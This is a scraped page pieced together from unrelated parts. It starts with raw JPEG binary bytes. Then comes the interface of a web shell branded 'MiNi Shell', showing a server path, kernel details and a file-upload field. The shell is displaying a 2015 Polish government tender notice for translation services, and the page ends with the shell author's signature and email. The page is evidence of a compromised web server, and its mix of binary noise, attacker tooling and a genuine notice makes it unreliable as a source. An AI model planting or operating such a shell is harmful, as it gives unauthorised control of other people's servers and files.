JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/common/web/tenders/20151210/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/common/web/tenders/20151210/337442-N-2015.html

<p class="kh_header"><b>Warszawa: Świadczenie na rzecz Agencji Rynku Rolnego kompleksowej obsługi tłumaczeniowej w 2016 r.</b><br>
<b>Numer ogłoszenia: 337442 - 2015; data zamieszczenia: 10.12.2015</b><br>
OGŁOSZENIE O ZAMÓWIENIU - usługi<br><br></p>

<p><b>Zamieszczanie ogłoszenia:</b> obowiązkowe.</p>
<p><b>Ogłoszenie dotyczy:</b>
<!--zamówienia publicznego.</p>-->
<table class="text2">
<tr><td style="border: solid 1px; width:15px black; text-align: center;"><b>V</b></td>
<td>zamówienia publicznego</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>zawarcia umowy ramowej</td></tr>
<tr><td style="border: solid 1px; width:15px black; text-align: center;"></td>
<td>ustanowienia dynamicznego systemu zakupów (DSZ)</td></tr>
</table>


<p class="kh_title">SEKCJA I: ZAMAWIAJĄCY</p>

<p><b>I. 1) NAZWA I ADRES:</b> Agencja Rynku Rolnego , ul. Karolkowa 30, 01-207 Warszawa, woj. mazowieckie, tel. 22 661 72 72, faks 22 376 73 79.</p>
<ul class="kh_indent_1">
<li><b>Adres strony internetowej zamawiającego:</b> www.arr.gov.pl</li></ul>
<p><b>I. 2) RODZAJ ZAMAWIAJĄCEGO:</b> Inny: Agencja płatnicza.</p>

<p class="kh_title">SEKCJA II: PRZEDMIOT ZAMÓWIENIA</p>

<p><b>II.1) OKREŚLENIE PRZEDMIOTU ZAMÓWIENIA</b></p>
<p><b>II.1.1) Nazwa nadana zamówieniu przez zamawiającego:</b> Świadczenie na rzecz Agencji Rynku Rolnego kompleksowej obsługi tłumaczeniowej w 2016 r..</p>
<p><b>II.1.2) Rodzaj zamówienia:</b> usługi.</p>
<p><b>II.1.4) Określenie przedmiotu oraz wielkości lub zakresu zamówienia:</b> 1.	CPV: 79.53.00.00-8 (Usługi w zakresie tłumaczeń pisemnych), 79.54.00.00-1 (Usługi 
w zakresie tłumaczeń ustnych).
2.	Przedmiotem zamówienia jest świadczenie na rzecz Agencji Rynku Rolnego kompleksowej obsługi tłumaczeniowej w 2016 r. w zakresie: 
a)	tłumaczeń pisemnych,
b)	tłumaczeń ustnych, 
c)	wynajmu kompletnego sprzętu do obsługi tłumaczeń symultanicznych.
3.	Przez świadczenie kompleksowej obsługi w zakresie tłumaczeń pisemnych rozumie się:
a)	dokonywanie tłumaczeń pisemnych zwykłych (nieuwierzytelnionych przez tłumacza  przysięgłego). Usługa ta obejmuje również tłumaczenia tekstów przeznaczonych do publikacji, obejmujących weryfikację językową oraz merytoryczną tekstu przez specjalistę z dziedziny, której dotyczy tekst, 
b)	dokonywanie tłumaczeń pisemnych uwierzytelnionych przez tłumacza przysięgłego oraz uwierzytelnianie przez tłumacza przysięgłego tesktów przetłumaczonych dostarczonych przez Zamawiającego,
c)	dokonywanie weryfikacji językowej tłumaczeń pisemnych dostarczonych przez Zamawiającego, polegającej na porównaniu przetłumaczonego tekstu z tekstem przekazanym do tłumaczenia, zwanym dalej tekstem źródłowym, zarówno w zakresie językowo-merytorycznym (sprawdzenie tekstu w zakresie poprawności gramatycznej, frazeologicznej, stylistycznej i terminologicznej oraz spójności tekstu) jak i technicznym (zgodność ze stylem i formatem tekstu źródłowego) przez tłumacza lub specjalistę niebędącego autorem weryfikowanego tłumaczenia). Usługa ta obejmuje również weryfikację tekstów przeznaczonych do publikacji w przebiegu procesu wydawniczego, na minimum 3 etapach korekty, polegającą na porównaniu weryfikowanego tekstu z tekstem przetłumaczonym, zwanym dalej tekstem podstawowym, zarówno w zakresie językowo- merytorycznym, jak i technicznym.
4.	Przez świadczenie kompleksowej obsługi w zakresie tłumaczeń ustnych rozumie się realizację tłumaczeń: konsekutywnych, symultanicznych oraz tłumaczeń ustnych z wykorzystaniem sprzętu do mobilnych tłumaczeń (zapewnianego przez Wykonawcę lub zapewnianego przez Zamawiającego).
5.	Tłumaczenia ustne realizowane będą  podczas organizowanych przez Zamawiającego seminariów, konferencji, misji gospodarczych, rozmów biznesowych, oraz innych spotkań,  na terenie Rzeczypospolitej Polskiej jak również za granicą.
6.	Wykonawca zobowiązuje się do zapewnienia co najmniej dwóch tłumaczy na każdą kabinę do tłumaczenia symultanicznego, w zakresie tłumaczenia na każdy język, na który planowane jest tłumaczenie.
7.	Przez usługę tłumaczenia ustnego z wykorzystaniem systemu do mobilnych tłumaczeń, zapewnianego przez Wykonawcę, rozumie się zapewnienie obsługi tłumaczeniowej ustnej wraz z zapewnieniem sprzętu do mobilnych tłumaczeń obejmującego:
a)	co najmniej: 1 kompletne urządzenie typu nadajnik i 6 kompletnych urządzeń typu odbiornik,
b)	inny sprzęt, niż określony w punkcie i), niezbędny do zapewnienia wysokiej jakości obsługi tłumaczeniowej, 
c)	zapewnienie co najmniej dwóch tłumaczy w przypadku zleconego tłumaczenia z czasem realizacji dłuższym niż 30 minut, chyba że Zamawiający zawnioskuje inaczej, 
d)	transport sprzętu na miejsce realizacji usługi, instalację sprzętu oraz obsługę  techniczną zgodnie z ustaleniami dokonanymi z Zamawiającym. 
8.	Zamawiający zastrzega sobie prawo do zamówienia wielokrotności zestawu określonego w ustępie 7, lit. a).
9.	Przez usługę tłumaczenia ustnego z wykorzystaniem systemu do mobilnych tłumaczeń zapewnianego przez Zamawiającego rozumie się:
a)	zapewnienie obsługi tłumaczeniowej ustnej wraz z obsługą techniczną systemu do mobilnych tłumaczeń zapewnionego przez Zamawiającego. 
b)	zapewnienie co najmniej dwóch tłumaczy w przypadku zleconego tłumaczenia z czasem realizacji dłuższym niż 30 minut, chyba że Zamawiający zawnioskuje inaczej
10.	Przez wynajem kompletnego sprzętu do zapewnienia tłumaczeń symultanicznych rozumie się:
a)	wynajem specjalistycznych dwu-trzyosobowych kabin wyposażonych w co najmniej 1 konsolę na każdego tłumacza zawierającą 1 panel kontrolny, 1 mikrofon i 1 zestaw słuchawkowy,
b)	instalację systemu sterująco-nagłaśniającego i nadawczo-odbiorczego, w tym zapewnienie mikrofonów przewodowych, mikrofonów bezprzewodowych, zestawów słuchawkowych i odbiorników dla uczestników spotkania w ilości uzgodnionej z Zamawiającym,
c)	zapewnienie innego sprzętu niż określonego w punktach a) i b), niezbędnego do zapewnienia wysokiej jakości obsługi symultanicznej spotkań,
d)	transport sprzętu na miejsce realizacji usługi, instalację sprzętu oraz obsługę techniczną spotkania obejmującą wydanie zestawów słuchawkowych i odbiorników dla uczestników spotkania zgodnie z ustaleniami dokonanymi z Zamawiającym.
11.	Zamawiający zastrzega sobie prawo do zlecenia usługi tłumaczenia ustnego poza granicami kraju we własnym zakresie.
12.	Zakres tematyczny zlecanych tłumaczeń obejmuje następujące dziedziny: rolnictwo, przetwórstwo rolno-spożywcze, sztuka kulinarna, handel zagraniczny, prawodawstwo Unii Europejskiej w obszarze rolnym, realizacja projektów w ramach współpracy międzynarodowej w obszarze rolno-spożywczym, działania promocyjne w sektorze rolno-spożywczym, międzynarodowe wydarzenia targowe w dziedzinie rolnictwa i przetwórstwa rolno-spożywczego.
13.	Usługi tłumaczeniowe wykonywane będą w zakresie grup językowych określonych w Załączniku nr 1 do Istotnych Postanowień Umowy (stanowiących załącznik nr 7 do SIWZ) w następujących kierunkach:
a)	tłumaczenia pisemne zwykłe i przysięgłe, oraz  uwierzytelnianie przez tłumacza przysięgłego tłumaczeń dostarczonych przez Zamawiającego z języka polskiego na język obcy, z języka obcego na język polski oraz z języka obcego na język obcy,
b)	weryfikacja językowa tłumaczeń pisemnych dostarczonych przez Zamawiającego: z języka polskiego na język obcy, z języka obcego na język polski oraz z języka obcego na język obcy,
c)	tłumaczenie ustne, konsekutywne oraz symultaniczne: z języka polskiego na język obcy, z języka obcego na język polski oraz z języka obcego na język obcy realizowane:
na terenie Rzeczypospolitej Polskiej,
poza granicami Rzeczypospolitej Polskiej na terenie Unii Europejskiej,
poza granicami Unii Europejskiej. 
Szczegółowe warunki realizacji zamówienia zostały określone w IPU (załącznik nr 7 do SIWZ).
14.	Zamawiający dopuszcza zmiany umowy w okresie jej obowiązywania w zakresie:
a)	przedmiotowym, w tym języki tłumaczeń,
b)	danych teleadresowych wyszczególnionych w umowie.
15.	Wartość zamówienia netto wynosi 300 000,00 zł..</p>
<p><b>II.1.5)
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
<td><b>przewiduje się udzielenie zamówień uzupełniających</b></td></tr>
</table>                            
</b></p>
<ul class="kh_indent_1"><li><b>Określenie przedmiotu oraz wielkości lub zakresu zamówień uzupełniających</b></li>
<li></li></ul>

<p><b>II.1.6) Wspólny Słownik Zamówień (CPV):</b> 79.53.00.00-8, 79.54.00.00-1.</p>
<p><b>II.1.7) Czy dopuszcza się złożenie oferty częściowej:</b> nie.</p>
<p><b>II.1.8) Czy dopuszcza się złożenie oferty wariantowej:</b> nie.</p><br>
<p><b>II.2) CZAS TRWANIA ZAMÓWIENIA LUB TERMIN WYKONANIA:</b> Zakończenie: 16.12.2016.</p>
<p class="kh_title">SEKCJA III: INFORMACJE O CHARAKTERZE PRAWNYM, EKONOMICZNYM, FINANSOWYM I TECHNICZNYM</p>

<p><b>III.1) WADIUM</b></p>
<p><b>Informacja na temat wadium:</b> Zamawiający nie wymaga wniesienia wadium.</p>
<p><b>III.2) ZALICZKI</b></p>
<p><b>III.3) WARUNKI UDZIAŁU W POSTĘPOWANIU ORAZ OPIS SPOSOBU DOKONYWANIA OCENY SPEŁNIANIA TYCH WARUNKÓW</b></p>
<ul class="kh_indent_1">
<li><p><b>III.3.2) Wiedza i doświadczenie</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, że wykonawca spełnia warunki udziału w postępowaniu, jeżeli spełnia wszystkie niżej wymienione warunki, tj.:
a)	w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał lub wykonuje należycie co najmniej 2 usługi tłumaczeniowe w przedmiocie rolnictwa, przetwórstwa rolno-spożywczego i handlu zagranicznego, o wartości co najmniej 130 000,00 zł brutto (słownie: sto trzydzieści tysięcy zł) każda, oraz
b)	w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał lub wykonuje należycie co najmniej 2 usługi kompleksowej obsługi międzynarodowych konferencji w zakresie tłumaczeń symultanicznych powiązanych z zapewnieniem sprzętu i jego obsługi technicznej w tematyce związanej z przedmiotem zamówienia, w zakresie co najmniej dwóch dowolnych języków obcych (języka polskiego i obcego lub obydwu języków obcych), na minimum 150 osób każda, trwająca minimum 4 godziny, o wartości co najmniej 10 000,00 złotych brutto (słownie: dziesięć tysięcy złotych) każda, oraz
c)	w okresie ostatnich trzech lat przed upływem terminu składania ofert, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wykonał lub wykonuje należycie co najmniej 1 usługę kompleksowej obsługi tłumaczenia ustnego, powiązanego 
z zapewnieniem systemu do mobilnego tłumaczenia symultanicznego i jego obsługi technicznej, w zakresie co najmniej dwóch dowolnych języków obcych (języka polskiego i obcego lub obydwu języków obcych) o dowolnej wartości.</p>
</li></ul></li><li><p><b>III.3.4) Osoby zdolne do wykonania zamówienia</b></p>
<p><b>Opis sposobu dokonywania oceny spełniania tego warunku</b></p>
<ul class="kh_indent_1"><li><p>Zamawiający uzna, że wykonawca spełnia warunki udziału w postępowaniu, jeżeli Wykonawca dysponuje lub będzie dysponował osobami zdolnymi do wykonania zamówienia, tj.: 
przynajmniej 12 tłumaczami, niezbędnymi dla zapewnienia tłumaczeń 
z I grupy językowej (przynajmniej po trzech tłumaczy z każdego języka w ramach tej grupy językowej);
przynajmniej 4 tłumaczami przysięgłymi, niezbędnymi dla zapewnienia tłumaczeń z I grupy językowej (przynajmniej po jednym tłumaczy z każdego języka w ramach tej grupy językowej);
przynajmniej 6 tłumaczami, niezbędnymi dla zapewnienia tłumaczeń 
z II grupy językowej;
przynajmniej 3 tłumaczami przysięgłymi, niezbędnymi dla zapewnienia tłumaczeń z II grupy językowej;
przynajmniej 4 tłumaczami, niezbędnymi dla zapewnienia tłumaczeń 
z III grupy językowej;
przynajmniej 2 tłumaczami przysięgłymi, niezbędnymi dla zapewnienia tłumaczeń z III grupy językowej.</p>
</li></ul></li></ul>
<p><b>III.4) INFORMACJA O OŚWIADCZENIACH LUB DOKUMENTACH, JAKIE MAJĄ DOSTARCZYĆ WYKONAWCY W CELU POTWIERDZENIA SPEŁNIANIA WARUNKÓW UDZIAŁU W POSTĘPOWANIU ORAZ NIEPODLEGANIA WYKLUCZENIU NA PODSTAWIE ART. 24 UST. 1 USTAWY</b></p>
<p><b>III.4.1) W zakresie wykazania spełniania przez wykonawcę warunków, o których mowa w art. 22 ust. 1 ustawy, oprócz oświadczenia o spełnianiu warunków udziału w postępowaniu należy przedłożyć:</b></p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li  style="margin-bottom: 12px;">wykaz wykonanych, a w przypadku świadczeń okresowych lub ciągłych również wykonywanych, głównych dostaw lub usług, w okresie ostatnich trzech lat przed upływem terminu składania ofert albo wniosków o dopuszczenie do udziału w postępowaniu, a jeżeli okres prowadzenia działalności jest krótszy - w tym okresie, wraz z podaniem ich wartości, przedmiotu, dat wykonania i podmiotów, na rzecz których dostawy lub usługi zostały wykonane, oraz załączeniem dowodów, czy zostały wykonane lub są wykonywane należycie;</li>

<li  style="margin-bottom: 12px;">wykaz osób, które będą uczestniczyć w wykonywaniu zamówienia, w szczególności odpowiedzialnych za świadczenie usług, kontrolę jakości lub kierowanie robotami budowlanymi, wraz z informacjami na temat ich kwalifikacji zawodowych, doświadczenia i wykształcenia niezbędnych do wykonania zamówienia, a także zakresu wykonywanych przez nie czynności, oraz informacją o podstawie do dysponowania tymi osobami;</li>

</ul>
<p><b>III.4.2) W zakresie potwierdzenia niepodlegania wykluczeniu na podstawie art. 24 ust. 1 ustawy, należy przedłożyć:</b></p>

<ul style="text-align: justify; margin-right: 20px; list-style: disc"><li style="margin-bottom: 12px;">oświadczenie o braku podstaw do wykluczenia;</li>

<li style="margin-bottom: 12px;">aktualny odpis z właściwego rejestru lub z centralnej ewidencji i informacji o działalności gospodarczej, jeżeli odrębne przepisy wymagają wpisu do rejestru lub ewidencji, w celu wykazania braku podstaw do wykluczenia w oparciu o art. 24 ust. 1 pkt 2 ustawy, wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul>

<p class="bold">III.4.3) Dokumenty podmiotów zagranicznych</p>
<p class="bold">Jeżeli wykonawca ma siedzibę lub miejsce zamieszkania poza terytorium Rzeczypospolitej Polskiej, przedkłada:</p>
<p class="bold">III.4.3.1)  dokument wystawiony w kraju, w którym ma siedzibę lub miejsce zamieszkania potwierdzający, że:</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">
<li style="margin-bottom: 12px;">nie otwarto jego likwidacji ani nie ogłoszono upadłości - wystawiony nie wcześniej niż 6 miesięcy przed upływem terminu składania wniosków o dopuszczenie do udziału w postępowaniu o udzielenie zamówienia albo składania ofert;</li>

</ul><p class="bold">III.4.4)  Dokumenty dotyczące przynależności do tej samej grupy kapitałowej</p>
<ul style="text-align: justify; margin-right: 20px; list-style: disc;">			
<li style="margin-bottom: 12px;">lista podmiotów należących do tej samej grupy kapitałowej w rozumieniu ustawy z dnia 16 lutego 2007 r. o ochronie konkurencji i konsumentów albo informacji o tym, że nie należy do grupy kapitałowej;</li>

</ul><p><b>III.6) INNE DOKUMENTY</b></p>
<p class="bold">Inne dokumenty niewymienione w pkt III.4) albo w pkt III.5)</p>
<p>1.	W celu potwierdzenia, że oferowane usługi spełniają wymagania określone przez Zamawiającego, Wykonawca jest zobowiązany dołączyć do oferty:
a)	aktualne zaświadczenie niezależnego podmiotu zajmującego się poświadczaniem zgodności działań podmiotów z normami jakościowymi poświadczające, że system zarządzania jakością Wykonawcy spełnia wymagania zawarte w normie PN-EN ISO 9001 w zakresie tłumaczeń ustnych oraz technicznej obsługi konferencji (lub równoważnej);
b)	aktualny dokument wydany Wykonawcy przez niezależny podmiot zajmujący się poświadczaniem zgodności działań podmiotów z normami jakościowymi potwierdzający zgodność systemu z wymaganiami normy PN-EN 15038, europejskiej normy jakościowej na usługi tłumaczeniowe, lokalizacyjne i zarządzanie projektami (lub równoważnej).
2.	Wykonawca może zamiast dokumentów, o których mowa w ust. 1, złożyć inne równoważne zaświadczenia wystawione przez podmioty mające siedzibę w innych państwach członkowskich Europejskiego Obszaru Gospodarczego lub inne dokumenty potwierdzające stosowanie przez Wykonawcę równoważnych środków zapewnienia jakości.</p>

<p class="kh_title">SEKCJA IV: PROCEDURA</p>
<p><b>IV.1) TRYB UDZIELENIA ZAMÓWIENIA</b></p>
<p><b>IV.1.1) Tryb udzielenia zamówienia:</b> przetarg nieograniczony.</p>

<p><b>IV.2) KRYTERIA OCENY OFERT</b></p>
<p><b>IV.2.1) Kryteria oceny ofert: </b>cena oraz inne kryteria związane z przedmiotem zamówienia:</p><ul class="kh_indent_1">
<li>1 - Cena - 70</li>
<li>2 - Poświadczona jakość wykonywanych usług - 30</li>
</ul>
<p><b>IV.2.2)</b>
<table class="text2">
<tr><td style="border: solid 1px black; width:15px; text-align: center;"><b>&nbsp;</b></td>
    <td><b>przeprowadzona będzie aukcja elektroniczna,</b> adres strony, na której będzie prowadzona: </td></tr>
</table>                            
<p><b>IV.3) ZMIANA UMOWY</b></p>
<p><b>przewiduje się istotne zmiany postanowień zawartej umowy w stosunku do treści oferty, na podstawie której dokonano wyboru wykonawcy: </b></p>
<p><b>Dopuszczalne zmiany postanowień umowy oraz określenie warunków zmian</b></p>
<p>Agencja Rynku Rolnego dopuszcza zmiany umowy w okresie jej obowiązywania w zakresie:
a)	przedmiotowym, w tym języki tłumaczeń,
b)	danych teleadresowych wyszczególnionych w umowie.</p>
<p><b>IV.4) INFORMACJE ADMINISTRACYJNE</b></p>
<p><b>IV.4.1)</b>&nbsp;<b>Adres strony internetowej, na której jest dostępna specyfikacja istotnych warunków zamówienia:</b> www.arr.gov.pl<br>
<b>Specyfikację istotnych warunków zamówienia można uzyskać pod adresem:</b> Agencja Rynku Rolnego, ul.Karolkowa 30, 01-207 Warszawa.</p>
<p><b>IV.4.4) Termin składania wniosków o dopuszczenie do udziału w postępowaniu lub ofert:</b> 18.12.2015 godzina 12:00, miejsce: W siedzibie Agencji Rynku Rolnego, ul.Karolkowa 30, 01-207 Warszawa, w Kacelarii ARR, wejście główne, piętro 1.</p>
<p><b>IV.4.5) Termin związania ofertą:</b> okres w dniach: 30 (od ostatecznego terminu składania ofert).</p>




<p><b>IV.4.16) Informacje dodatkowe, w tym dotyczące finansowania projektu/programu ze środków Unii Europejskiej:</b> TERMIN WYKONANIA ZAMÓWIENIA:
Od dnia 01.01.2016 r. do dnia 16.12.2016 r. lub do wyczerpania kwoty przeznaczonej na sfinansowanie zamówienia..</p>
<p><b>IV.4.17) Czy przewiduje się unieważnienie postępowania o udzielenie zamówienia, w przypadku nieprzyznania środków pochodzących z budżetu Unii Europejskiej oraz niepodlegających zwrotowi środków z pomocy udzielonej przez państwa członkowskie Europejskiego Porozumienia o Wolnym Handlu (EFTA), które miały być przeznaczone na sfinansowanie całości lub części zamówienia: </b> nie</p>

Creat By MiNi SheLL
Email: jattceo@gmail.com